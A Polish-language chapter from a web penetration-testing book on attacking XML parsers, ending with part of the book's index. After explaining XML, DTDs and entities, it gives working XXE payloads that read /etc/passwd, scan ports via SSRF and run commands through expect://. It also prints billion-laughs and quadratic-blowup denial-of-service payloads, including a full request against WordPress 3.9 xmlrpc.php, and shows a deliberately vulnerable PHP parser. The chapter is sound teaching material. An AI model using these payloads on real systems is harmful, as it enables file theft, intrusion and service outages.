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Ataki XML

W tym rozdziale przedstawi  niektóre techniki ataku analizatorów sk adniowych XML. Anali-
zatory XML to najcz ciej programy lub biblioteki, które przyjmuj  dokument XML, a nast pnie
analizuj  go i przetwarzaj  do atwej w obróbce formy. Format XML (ang. eXtensible Markup
Language) jest nadal bardzo popularnym formatem wymiany danych. Sk adnia XML przypomi-
na sk adni  j zyka HTML, ale s u y tylko do przechowywania danych, cho  w nieco bardziej
ustrukturyzowanym formacie. Standardowy dokument XML to zwyk y plik tekstowy, który sam
z siebie nic nie robi. Potrzebny jest wi c osobny program, który odczytuje zawarto  pliku i na
jego podstawie wykonuje inne dzia ania. Z tego powodu ataki nie dotycz  samych plików, ale
narz dzi ich przetwarzaj cych. XML to otwarty standard wspierany przez W3C (ang. World Wide
Web Consortium). Zanim przejd  do sposobu ataku, pokrótce opisz  sam format XML.

Kilka ataków prezentowanych w rozdziale wykorzystuje technik  DoS (ang. Denial of Service). Pami taj,
aby testowa  j  tylko i wy cznie w kontrolowanym rodowisku, które mo na bez szkód dla firmy przywróci
do pe nej sprawno ci. Nigdy nie u ywaj tych technik w rodowiskach produkcyjnych — mo esz zosta
zwolniony, a nawet trafi  do wi zienia!

W tym rozdziale poruszymy nast puj ce tematy:
 podstawy formatu XML;
 atak XXE — wykorzystanie zewn trznych encji XML;
 u ycie XML do kwadratu.
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Podstawy formatu XML
Zanim przejdziemy do w a ciwych ataków, warto pozna  podstawy XML. Format ten powsta ,
poniewa  wcze niej dane przechowywano w formacie sp aszczonym, co utrudnia o zarówno
obs ug  danych, jak i przenoszenie ich mi dzy systemami. Dla ka dego sp aszczonego pliku
programista musia  napisa  odpowiedni analizator i kod wczytuj cy. Dok adnie to samo zadanie
musia  wykona  w drug  stron , aby zapisa  plik. W przypadku XML sytuacja jest znacznie
prostsza — istniej  generyczne analizatory XML, które potrafi  przeanalizowa  ka dy poprawnie
skonstruowany dokument XML. Dodatkowo format XML jest czytelny dla ludzi.

Bardzo prosty dokument XML mo e mie  posta :

<?xml version="1.0" encoding="UTF-8"?>
<student>
   <name>James Jones</name>
   <roll >PACKT/1001/16</roll>
   <dob>17-01-1947</dob>
   <address>Birmingham, United Kingdom</address>
</student>

Elementy XML
Przedstawiony dokument XML zawiera kilka ró nych znaczników przechowuj cych ró nego
rodzaju dane mi dzy znacznikami pocz tku i ko ca. Dokument XML rozpoczyna si  od pream-
bu y, czyli krótkiej deklaracji, e jest to dokument XML, i informacji o rodzaju kodowania.
W przyk adzie dokument u ywa kodowania UTF-8. Nast pnie pojawiaj  si  znaczniki, a ka dy
z nich ma w sobie pewne dane. Ca o , czyli znacznik otwieraj cy, znacznik zamykaj cy i zawar-
to , nazywa si  elementem. Nazwa elementu wynika z wymaga  lub innych czynników.

Oto przyk ad:
 <name>James Jones</name> to pe ny element;
 <name> to znacznik otwieraj cy;
 James Jones to tre  elementu;
 </name> to znacznik zamykaj cy.

Znaczniki s  czu e na wielko  liter, wi c znacznik otwieraj cy musi mie  tak  sam  posta  jak znacznik
zamykaj cy. W przeciwnym razie analizator zg osi b d.

Dokumenty XML musz  zawiera  tylko jeden element bazowy (korze ). W przedstawionym
przyk adzie jest nim element <student> ... </student>.
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Atrybuty XML
Rozwa my dokument XML:

<?xml version="1.0" encoding="UTF-8"?>
<blogger>
   <blog id="123">
      <post>Hello World</post>
      <owner>James Jones</owner>
   </blog>
</blogger>

Zauwa , e element <blog> ... </blog> zawiera powi zany z nim atrybut o nazwie id i warto ci 123.
Atrybut to warto  powi zania z elementem. Warto podkre li , e warto  atrybutu musi
znajdowa  si  w cudzys owach pojedynczych lub podwójnych.

XML DTD i znaki specjalne
XML DTD to dokument, który s u y do sprawdzenia poprawno ci dokumentu XML pod k tem
spe nienia pewnych warunków — dokument XML mo e by  poprawny sk adniowo, ale nie
spe nia  warunków DTD. Mo na powiedzie , e jest to pewnego rodzaju szablon walidacyjny
zawieraj cy informacje o dopuszczalnych elementach i atrybutach.

Wewn trzny DTD
Rozwa my nast puj cy dokument XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE student [
   <!ELEMENT student (name,roll,dob,address)>
   <!ELEMENT name (#PCDATA)>
   <!ELEMENT roll (#PCDATA)>
   <!ELEMENT dob (#PCDATA)>
   <!ELEMENT address (#PCDATA)>
]>

<student>
   <name>James Jones</name>
   <roll>PACKT/1001/16</roll>
   <dob>17-01-1947</dob>
   <address>Birmingham, United Kingdom</address>
</student>

Dokument XML zawiera osadzony w sobie DTD, który definiuje dopuszczaln  struktur  danych.
DTD wykorzystuje bardzo prosty zapis, wi c jego interpretacja nie powinna sprawi  wi kszych
problemów:
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 <!DOCTYPE student — wskazuje, e korzeniem ca ej struktury b dzie element student;
 <!ELEMENT student (name, roll, dob, address) — informuje, e element student

b dzie zawiera  w sobie cztery inne elementy: name, roll, dob i address;
 <!ELEMENT name (#PCDATA)> — wskazuje, e element name jest typu PCDATA, czyli

zawiera dane tekstowe; podobne zapisy dotycz  elementów roll, dob i address.

Po cz ci DTD zaczyna si  w a ciwy dokument XML.

Opisywany DTD nazywa si  osadzonym DTD, poniewa  znajduje si  wewn trz dokumentu
XML z danymi.

Zewn trzny DTD
Tym razem rozwa my nast puj cy dokument XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE student SYSTEM "student.dtd">
]>
<student>
   <name>James Jones</name>
   <roll>PACKT/1001/16</roll>
   <dob>17-01-1947</dob>
   <address>Birmingham, United Kingdom</address>
</student>

Tym razem w dokumencie XML znajduje si  tylko i wy cznie adres URL do dokumentu DTD.
Analizator pobierze plik student.dtd i sprawdzi na jego podstawie poprawno  dokumentu XML.
Plik DTD zawiera nast puj c  tre :

<!ELEMENT student (name,roll,dob,address)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT roll (#PCDATA)>
<!ELEMENT dob (#PCDATA)>
<!ELEMENT address (#PCDATA)>

Poniewa  rozdzielili my dokument XML i jego opis na potrzeby walidacji, dokument DTD
nazywamy zewn trznym DTD.

Encje XML
Sk adnia XML wymaga kodowania pewnych znaków. Dotyczy to przede wszystkim znaków,
które s  standardowo u ywane do oznaczania znaczników, np. < i >. Ka da zakodowana instruk-
cji zaczyna si  od znaku & i ko czy znakiem ;. Zakodowany znak < ma posta  &lt;. Poni sza ta-
bela zawiera kodowanie podstawowych znaków specjalnych w przekazywanych danych:
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Znak Zakodowana wersja

& &amp;

< &lt;

> &gt;

" &quot;

' &apos;

Zobaczmy, jak wygl da u ycie znaków specjalnych w danych zawartych w dokumencie XML:

<?xml version="1.0" encoding="UTF-8" ?>
<student>
   <less>&lt;</less>
</student>

Deklaracja encji
Poza encjami dla znaków specjalnych mo emy równie  samodzielnie definiowa  inne encje,
które odnosz  si  do informacji wewn trz lub na zewn trz dokumentu.

Rozwa my nast puj cy kod XML:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE student [
   <!ELEMENT student (#PCDATA)>
   <!ENTITY name "James Jones">
]>
<student>&name;</student>

Dokument XML cz ci DTD zawiera znacznik <!ENTITY name "James Jones">, który definiuje
&name; jako warto  James Jones. Jest to tak zwana deklaracja wewn trzna, poniewa  wszystko
znajduje si  w tym samym dokumencie i nie trzeba pobiera  danych z zewn trz.

Mo emy równie  korzysta  z zewn trznych DTD do definiowania encji. Rozwa my nast puj cy
przyk ad:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE student [
   <!ELEMENT student (#PCDATA)>
   <!ENTITY sname SYSTEM "https://www.prakharprasad.com/external.xml">
]>
<student>&sname;</student>

Aby zadeklarowa  zewn trzn  encj , u ywamy formatu:

<!ENTITY nazwa SYSTEM "URI">

Po przeczytaniu dokumentu XML przez analizator zaczyna on obs ug  zewn trznych URI na
podstawie zdefiniowanego mechanizmu ich pobierania. Zewn trzny plik pobiera pliki wewn trz-
ne i zast puje nimi wskazane wyst pienia. W przedstawionym przyk adzie adresem URI jest
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https://www.prakharprasad.com/external.xml, a nazw  encji jest &sname;. Plik external.xml zostanie
pobrany, a jego tre  zast pi ka de wyst pienie &sname; w elemencie <student> ... </student>.
Zewn trzne encje to z perspektywy testera penetracyjnego bardzo dobry wektor ataku. Sposób
ich wykorzystania omówi  w nast pnym podrozdziale dotycz cym ataku XXE.

Atak XXE
Atak XXE (ang. XML eXternal Entity) wykorzystuje mo liwo  wczytywania w dokumentach
XML innych plików. Mo emy wykorzysta  cz  URI do wykonywania zada  takich jak odczyt
plików, wydobywanie danych, podkradzenie dania po stronie serwera, a nawet wykonanie
dowolnego kodu.

W niektórych z prezentowanych przyk adów celowo w czy em kilka modu ów PHP, mi dzy innymi wczytywa-
nie zewn trznych encji, obs ug  fopen i modu  expect. Domy lna instalacja PHP ma te elementy wy czone.

Pami taj, e atak XXE dotyczy wszystkich platform serwerowych, wi c nawet je li pewien modu  jest
zablokowany domy lnie dla j zyka PHP, to mo e zadzia a  na serwerze u ywaj cym ASP, JSP itp.

Rozwa my nast puj cy fragment kodu PHP przetwarzaj cy dokument XML:

<?php
   $xml = $_POST["xml"];
   $student = simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
?>
<html>
   <title>Name Game</title>
   <body>
      <h3>
         <pre>
            Your name is <?php echo $student->name; ?>
         </pre>
      </h3>
   </body>
</html>

Przedstawiony kod po prostu wy wietla imi  przekazane wewn trz dokumentu XML przesy ane-
go daniem typu POST. Przedstawmy przyk ad dzia ania. Oto zrzut ekranu pokazuj cy u góry
przesy any dokument XML, a na dole odpowied  wy wietlan  przez PHP po jego przetworzeniu
(zobacz rysunek na nast pnej stronie).

atwo zauwa ymy, e PHP wydobywa z dokumentu XML dane osadzone w elemencie name i po
prostu je wy wietla. Zacznijmy wykorzystywa  adresy URI dotycz ce zewn trznych encji.
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Odczyt plików
Atak XXE umo liwia odczyt plików systemowych. To naprawd  zadziwiaj ce, ale mo emy w ten
sposób odczyta  zawarto  innych plików zawieraj cych takie dane jak nazwa u ytkownika i has a
do bazy danych. Aby to zademonstrowa , zadeklarujmy zewn trzn  encj  i wska my adresem
URI plik, który znajduje si  na dysku serwera WWW.

Do skryptu PHP przeka emy dokument XML o nast puj cej tre ci:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE student [
   <!ENTITY oops SYSTEM "file:///etc/passwd">
]>

<student>
   <name>&oops;</name>
</student>

Odpowied  z serwera b dzie nast puj ca (zobacz pierwszy rysunek na nast pnej stronie).

Wspaniale! Uda o nam si  odczyta  zawarto  pliku /etc/passwd z systemu Linux serwera,
który przetwarza  dokument XML. Wykorzystali my protokó  file://, aby odczyta  plik i wy-
wietli  tre  jako zewn trzn  encj . Je li tylko pozwol  na to uprawnienia, mo emy odczyta

w ten sposób i inne pliki.
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W niektórych rodowiskach mo liwe jest nawet otrzymanie listy plików znajduj cych si  w kata-
logu za pomoc  protoko u file://:

<!ENTITY oops SYSTEM "file:///etc/ ">

Powy szy wpis pobierze list  plików folderu /etc.

Alternatywa w postaci konwersji Base64 adresu URI w PHP
Mo emy wykorzysta  konwersj  Base64 adresu URI w PHP jako alternatyw  do odczytu plików
za pomoc  protoko u file://. Stosowanym powszechnie formatem jest:

php://filter/convert.base64-encode/resource=/plik/do/odczytu

Powtórzymy wcze niejszy przyk ad, ale tym razem u yjmy sztuczki z konwersj . adunek XML
ma posta :

<!DOCTYPE student [
   <!ENTITY pwn SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<student>
   <name>&pwn;</name>
</student>

Analizator pobierze wskazany plik /etc/passwd, ale zwróci go w postaci zakodowanej przy u yciu
formatu Base64 (zobacz pierwszy rysunek na nast pnej stronie).

Wystarczy teraz skopiowa  dane, wklei  je do dekodera Base64 (np. narz dzia Burp Decoder)
i otrzyma  faktyczn  zawarto  pliku (zobacz drugi rysunek na nast pnej stronie).
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Przedstawion  technik  warto zastosowa  za ka dym razem, gdy podejrzewamy, e rodowisko
PHP mo e by  podatne na atak XXE.

SSRF poprzez XXE
SSRF (ang. Server-Side Request Forgery) to mechanizm, który wykorzystamy do ataku — serwer
uruchamiaj cy analizator XML wykona na nasz rozkaz po czenie z dowolnym innym kom-
puterem. Dok adniej podatno  SSRF opisz  w nast pnym rozdziale, a na razie skupmy si
na u yciu jej do skanowania portów. Wykorzystamy adresy URL dotycz ce protoko u HTTP,
ale r cznie wska emy numery portów. Logika jest prosta: gdy analizator spróbuje odczyta
dane z adresu URI, dla ka dego otwartego portu zwróci stron  z b dem HTTP (czasem nawet
z dodatkow  informacj  o us udze), ale dla zamkni tego portu zwróci informacj  o problemie
z po czeniem si . adunek móg by mie  posta :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE student [
   <!ENTITY oops SYSTEM "http://scanme.nmap.org:20/">
]>
<student>
   <name>&oops;</name>
</student>

Zauwa , e zaczynamy od portu o numerze 20. Zwi kszamy numer portu tak d ugo, a  znaj-
dziemy otwarty port:
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<!ENTITY oops SYSTEM "http://scanme.nmap.org:20/">
<!ENTITY oops SYSTEM "http://scanme.nmap.org:21/">
<!ENTITY oops SYSTEM "http://scanme.nmap.org:22/">
...
<!ENTITY oops SYSTEM "http://scanme.nmap.org:X/">

Dla portu o numerze 20 otrzymali my informacje: Connection refused i failed to load external
entity:

Podobn  informacj  otrzymujemy dla portu 21, ale dla portu 22 otrzymali my inny b d, co wiad-
czy o tym, e port jest otwarty:

Co istotne, otrzymali my nawet informacj  o us udze, która nas uchuje na porcie 22 — jest to
us uga OpenSSH. Tego rodzaju skanowanie portów mo emy przeprowadzi  bardzo szybko.

Zdalne wykonywanie kodu
Mo liwo  zdalnego wykonania kodu na serwerze to zawsze kusz ca oferta. Je li tylko mo emy
wykorzysta  obs ug  protoko u URI expect:// zapewnian  przez PHP, warto z niej skorzysta
do uruchamiania polece  na serwerze. Dokumentacja PHP wskazuje, e wystarczy umie ci
po elemencie expect:// nazw  polecenia (zobacz pierwszy rysunek na nast pnej stronie).

Rozwa my wi c poni szy adunek XML, który spowoduje wykonanie kodu, je li jest w czona
obs uga protoko u expect://:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
   <!ENTITY rce SYSTEM "expect://id">
]>
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Dokumentacja PHP dotycz ca expect://

<student>
   <name>&rce;</name>
</student>

Powy szy kod wykona  polecenie id na serwerze z systemem Linux:

Na tym zako czymy prezentacj  zdalnego wykonywania kodu. Przejd my teraz do ataków DoS
poprzez XXE.

Atak DoS poprzez XXE
Mo emy zmusi  serwer podatny na XXE do odczytywania plików takich jak /dev/random lub
/dev/urandom, co najprawdopodobniej spowoduje ich zawieszenie. Ju  wcze niej skorzystali my
z protoko u file:// w definicji dokumentu XML, wi c spróbujmy odczyta  zawarto
/dev/random i wstawi  j  jako element zast puj cy encj :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE student [
   <!ENTITY oops SYSTEM "file:///dev/random">
]>
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<student>
   <name>&oops;</name>
</student>

Tego rodzaju adunek, je li zostanie wykonany wielokrotnie, mo e spowodowa  znacz ce
spowolnienie dzia ania serwera, a nawet jego unieruchomienie. Oto przyk adowy efekt takiego
ataku na moim serwerze testowym:

Zrzut ekranu przedstawia b d CloudFlare zwi zany z faktem, i  mój serwer przesta  odpo-
wiada  na dania (z powodu ataku). Przyjrzyjmy si  dok adniej sposobowi ataku przy u yciu
techniki nazywanej XML do kwadratu.

XML do kwadratu
Atak tego rodzaju to specjalny atak typu DoS na analizator danych XML. Zanim jednak przejd
do opisu tej techniki, wyja ni  inn  technik  ataku, nazywan  miliard u mieszków, która obecnie
ju  nie dzia a, ale wyja ni podstawy w a ciwego ataku.

Miliard u mieszków
Atak DoS typu miliard u mieszków zaczynamy od zadeklarowania dokumentu XML z encj
o nazwie lol (w a nie od tej nazwy wzi a swój pocz tek nazwa ataku, ale w praktyce mo na
u y  dowolnej innej nazwy). Encj  zagnie d amy rekurencyjnie 10 lub wi cej razy. Wymusi to
na analizatorze XML zarezerwowanie pami ci dla ka dej encji. Zostanie zmarnowane naprawd
du o pami ci do przesy ania tego samego dokumentu XML, co najprawdopodobniej doprowadzi
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do braków w pami ci serwera WWW. Niestety, nowoczesne analizatory wykrywaj  obecnie
zagnie d one encje XML i zatrzymuj  analiz . Klasyczny przyk ad ataku tego typu przedsta-
wiam poni ej:

  <?xml version="1.0"?>
   <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
   ]>
   <lolz>&lol9;</lolz>

Cho  ten konkretny atak nie jest ju  mo liwy do zrealizowania, stanowi podstaw  dla ataku XML
do kwadratu.

Encja do kwadratu
Nowa wersja ataku zamienia zagnie d one odniesienia do encji na jedn  du  encj  powtarzan
pó niej w dokumencie XML tysi ce razy. W efekcie analizator ponownie musi zarezerwowa
podobn  ilo  pami ci operacyjnej co przy ataku tysi ca u mieszków.

Typowy dokument XML wykorzystuj cy t  sztuczk  wygl da nast puj co:

<?xml version="1.0"?>
<!DOCTYPE student [
   <!ENTITY x "xxxxxxxxxxxxxxxxx..."> (50 000 - 100 000)
]>
<student>&x;&x;&x;&x;&x;&x;&x;&x;&x;...</student> (50 000 - 100 000)

Zdefiniowany szablon encji posiada encj  o d ugo ci kilkudziesi ciu kilobajtów, która nast pnie
w dokumencie XML zostaje powtórzona wiele tysi cy razy. Analizator zostaje zmuszony do
alokacji du ych ilo ci pami ci, co daje ten sam efekt co miliard u mieszków.

Przyk ad podatno ci na atak XML do kwadratu w WordPress 3.9
Chyba nie musz  nikomu przedstawia  platformy WordPress — jest to obecnie chyba najpo-
pularniejszy system do tworzenia blogów w internecie. Niestety, WordPress 3.9 i starszy by y
podatne na atak XML do kwadratu. Odkry  to izraelski badacz Nir Goldshlager.

WordPress zawiera adres URL dzia aj cy jako ko cówka systemu XML-RPC, który przyjmuje
dane w postaci XML. Dane XML przetwarza analizator XML, co pozwala na opisywany wcze niej
atak. Bardzo atwo w ten sposób przekroczy  dopuszczaln  ilo  pami ci przydzielon  procesowi

Poleć książkęKup książkę

http://helion.pl/page54976~rf/tespen
http://helion.pl/page54976~rt/tespen


Testy penetracyjne nowoczesnych serwisów

180

Apache, w obr bie którego dzia a analizator. Podatno  bardzo atwo wykorzysta  — wystar-
czy pos a  dokument XML-RPC przygotowany w sposób przedstawiony powy ej. Pe ne -
danie HTTP ma posta :

POST /wordpress/xmlrpc.php HTTP/1.1
Host: sandbox.prakharprasad.com
Connection: keep-alive
Content-Length: 220079
<?xml version="1.0"?>
<!DOCTYPE DoS [
   <!ENTITY x "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
      xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx...">
]>
<DoS>&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x
;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;
&x;&x;&x;&x;&x;&x;&x;&x;&x;&x;...</DoS>

adunek XML wys any do ko cówki XML-RPC zawiera 1000 powtórze  x jako encji x, która to
w elemencie <DoS> wyst puje w ilo ci 40 tysi cy. Wielokrotnie wysy aj c to samo danie do
serwera, zu yjemy ca  dost pn  pami . Zu ycie pami ci RAM i CPU osi gn o maksimum,
co przedstawia poni szy rysunek:

Podobn  podatno  wykryto równie  w platformie Drupal CMS. Na tym ko czymy opis ataków
z u yciem XML.

Podsumowanie
W tym rozdziale przedstawili my ró ne techniki wykorzystania analizatora XML lub innej us u-
gi, która korzysta z przetwarzania danych XML. Analizatory XML spotyka si  obecnie w wielu
aplikacjach w postaci ko cówek API, us ug XML, a nawet plików przesy anych na serwer
poprzez formularz na stronie WWW. Wiele z tych systemów nie jest poprawnie skonfigurowa-
nych, co umo liwia zastosowanie ataków XXE. Testuj ataki XXE i DoS w kontrolowanym rodo-
wisku, a by  mo e uda Ci si  wykona  zdalny kod na serwerach Facebooka, jak to mia o ju
miejsce w przesz o ci: http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution.

W nast pnym rozdziale przedstawi  kilka nowych wektorów ataku, takich jak wstrzykiwanie
obiektów PHP, RPO itp.
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wstrzykni cie

CSS, 198, 199
kodu SQL, 28, 97, 100, 101

do stron wymagaj cych
logowania, 118

modyfikacja adresów
URL, 106

na lepo, 110
skrypt modyfikuj cy, 121,

123
technika czasowa, 109, 110
techniki, 102, 109, 110
wykorzystywanie b du,

102, 109
obiektu PHP, Patrz: POI
pliku

lokalne, Patrz: LFI
zdalne, Patrz: RFI

X
X-Forwarded-For-Header, 68
XSS, 57, 60, 62, 64, 65, 70, 75,

134, 198, 199
adres IP, 67
API, 64
bazuj cy na obiektach DOM,

72, 74, 77
Flash, 70
Markdown, 64
odbity, 57, 58, 59, 60
token CSFR, 90
utrwalony, Patrz: XSS

zapisany
zapisany, 57, 62, 64, 67

XXE, 172, 173, 177
DoS, 177

Y
YouGetSignal, 50

Z
zabezpieczenie CSRF,

Patrz: CSRF
zapytanie

SELECT, 119
stos, 119

zasada tego samego
pochodzenia, Patrz: SOP

znacznik
HttpOnly, 71, 72
Secure, 72

znak
', 171
", 171
&, 171
/, 24
<, 24, 170, 171
>, 170, 171
niezastrze ony, 24

kodowanie, 25
przej cia do nowego wiersza,

221
specjalny, 170, 171
zastrze ony, 24

kodowanie, 25

danie
CORS, 23
DELETE, 228, 237
GET, 84, 114, 130, 228, 234,

237
HEAD, 228
JSON, 89
OPTIONS, 228
POST, 84, 85, 89, 90, 96,

115, 117, 228, 237
proste, 23
PUT, 228
typ, 228
wst pnego sprawdzenia, 23

Poleć książkęKup książkę

http://helion.pl/page54976~rf/tespen
http://helion.pl/page54976~rt/tespen


Skorowidz

248

Poleć książkęKup książkę

http://helion.pl/page54976~rf/tespen
http://helion.pl/page54976~rt/tespen


http://program-partnerski.helion.pl



